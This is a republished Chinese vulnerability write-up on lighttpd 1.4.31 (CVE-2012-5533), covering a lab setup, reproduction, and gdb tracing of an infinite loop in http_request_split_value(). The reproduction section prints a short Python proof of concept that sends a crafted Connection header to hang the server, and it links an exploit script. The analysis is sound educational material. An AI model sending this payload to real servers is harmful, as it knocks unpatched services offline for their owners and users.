【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

栏目: 服务器 · 发布时间: 6年前

内容简介:预估稿费:300RMB
2017-08-23 11:45:22 阅读:74次 来源: 安全客
【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
作者:virwolf

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

作者: virwolf

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一.lighttpd域处理拒绝服务漏洞的环境搭建

1)安装lighttpd

因为此漏洞需要固定版本,因此我们需要手动安装。

wget http://download.lighttpd.net/lighttpd/releases-1.4.x/ lighttpd-1.4.31.tar.gz 
tar -zxvf lighttpd-1.4.31.tar.gz
cd lighttpd-1.4.31

到这步时,接下来就是执行

./configure

命令,但是在这步可能会出现以下错误:

configure: error: pcre-config not found, install the pcre-devel package or bui with --without-pcre

我们需要执行:

yum install gcc glib2-devel openssl-devel pcre-devel bzip2-devel gzip-devel zlib-devel

来更新缺失的关联包

安装完毕后,继续执行

./configure
make && make install

编译完毕后,执行步骤二。

2)拷贝lighttpd的执行文件

创建默认文件:

mkdir lighttpd-test
cd lighttpd-test

拷贝:

cp /usr/local/sbin/lighttpd home/lighttpd-test/

3) 创建配置文件

vim lighttpd.conf

编写:

server.document-root="/var/www/" 
server.port = 8080
server.username = "www" 
server.groupname = "www" 
mimetype.assign = (
   ".html" => "text/html", 
   ".txt" => "text/plain",
   ".jpg" => "image/jpeg",
   ".png" => "image/png" 
)
static-file.exclude-extensions = ( ".fcgi", ".php", ".rb", "~", ".inc" )
index-file.names = ( "index.html" )

4)自己编写欢迎页面(index.html)

vim /var/www/index.html
<html>
<head><title>Hello</title></head>
<body>
<h1>This is a test</h1>
</body>
</html>

5)开启防火墙,启动lighttpd服务

开启防火墙:

iptables -I INPUT -p tcp --dport 8080 -j ACCEPT

启动服务:

./lighttpd -f lighttpd.conf

注意:启动服务这里 必须是绝对路径 ,也可自己去添加下环境变量(这里的路径是home/lighttpd-test/)。

启动完后显示server started。

接下来,可以进入浏览器测试了:

http://127.0.0.1:8080

OK,加载后就会显示我们自己编写的欢迎页面。

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

二.lighttpd拒绝服务漏洞原理及复现

1)原理:漏洞描述:CVE(CAN) ID: CVE-2012-5533

lighttpd是一款开源的轻量级Web服务器。

lighttpd 1.4.31在处理某些HTTP请求头时,"http_request_split_value()"函数(src/request.c)在处理特制的"Connection"报头域时会陷入无限循环。攻击者利用此漏洞可导致Lighttpd拒绝服务。

2)漏洞复现

漏洞脚本: https://www.exploit-db.com/exploits/22902/

此脚本为bash脚本,需要改下权限:

在脚本目录下执行命令:

chmod +x test.sh

然后执行:

./test.sh

好的,执行成功。

附带 python 脚本:

#encoding: utf-8
import socket
if __name__ == '__main__':
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('192.**.**.**',8080))
    sock.send(b'GET/HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n')
    sock.close()
    print('ok')

注释:

命令:

ps aux | grep "light*"

查看lighttpd服务的进程信息。

top

查看任务管理器

kill -9 PID

杀死某进程

三、动、静结合跟踪漏洞呈现原因

前面我们已知造成漏洞的函数是(src/request.c)里面的" http_request_split_value() "函数,因此我们先找到这个函数位置,在这里我直接将这个函数剪切出来了:

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

让我们来仔细看看标红的代码,开始进入函数时b肯定是有值的,所以,会进入for循环,起初state为0,所以会进入case 0,然而,咱们仔细看下,其实case 0里面的for循环是没有被执行的。因此在case 0里,直接state=1;break;跳出switch..case。继续for循环,这时state=1,所以进入case 1中,start=s,然后,这里面for函数里条件不等于‘,’时,i++,然后进入if语句,if语句中条件就是start=s,执行break,因此,又继续for循环,state=1,进入case 1中。

有人说,即使进行for循环,也是有结束的时候啊,那么我们仔细看下第一个for循环,里面i值,其实是根据漏洞利用脚本发送数据而判定的,漏洞脚本里面‘,’前面只有两个字节,所以当等于‘,’时是没有变动的,因此,造成了死循环。

那么,接下来,使用gdb调试器动态调试来验证一下,是不是如我们所说的那样。

运行漏洞利用脚本后,使用命令

gdb -p <PID>

进入gdb

调试状态:

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

如图,直接断在了switch 函数这里,继续跟踪

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

如图,可看出它一直在循环。那么让我们检测下,其中的变量值

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

这些变量值是没有变的,所以可以确定造成死循环的原因就是i值没有变过 从而无限陷入for循环造成拒绝服务攻击。

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

本文由 安全客 原创发布,如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/4301.html


以上所述就是小编给大家介绍的《【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Practice of Programming

The Practice of Programming

Brian W. Kernighan、Rob Pike / Addison-Wesley / 1999-2-14 / USD 49.99

With the same insight and authority that made their book The Unix Programming Environment a classic, Brian Kernighan and Rob Pike have written The Practice of Programming to help make individual progr......一起来看看 《The Practice of Programming》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具